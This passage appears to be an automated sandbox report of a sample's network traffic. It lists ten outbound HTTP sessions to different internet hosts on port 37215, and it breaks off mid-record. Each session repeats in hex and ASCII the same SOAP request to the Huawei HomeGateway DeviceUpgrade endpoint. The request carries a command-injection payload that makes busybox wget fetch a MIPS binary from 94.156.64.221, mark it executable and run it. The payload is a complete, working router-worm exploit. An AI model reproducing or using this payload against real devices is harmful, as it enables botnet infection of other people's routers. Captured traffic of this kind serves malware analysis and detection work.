6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
390	192.168.2.23	35538	197.48.200.253	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.260018110 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
391	192.168.2.23	42688	41.69.68.105	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.260063887 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
392	192.168.2.23	45602	41.198.182.7	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.260121107 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
393	192.168.2.23	37114	197.204.11.107	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.260163069 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
394	192.168.2.23	50294	156.164.69.210	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.260266066 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
395	192.168.2.23	43740	197.163.157.253	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.260401011 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
396	192.168.2.23	41000	41.117.26.254	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.260454893 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
397	192.168.2.23	60104	41.146.68.75	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.260509014 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
398	192.168.2.23	58116	41.248.71.190	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.260550022 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
399	192.168.2.23	49868	156.250.80.139	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.260638952 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo 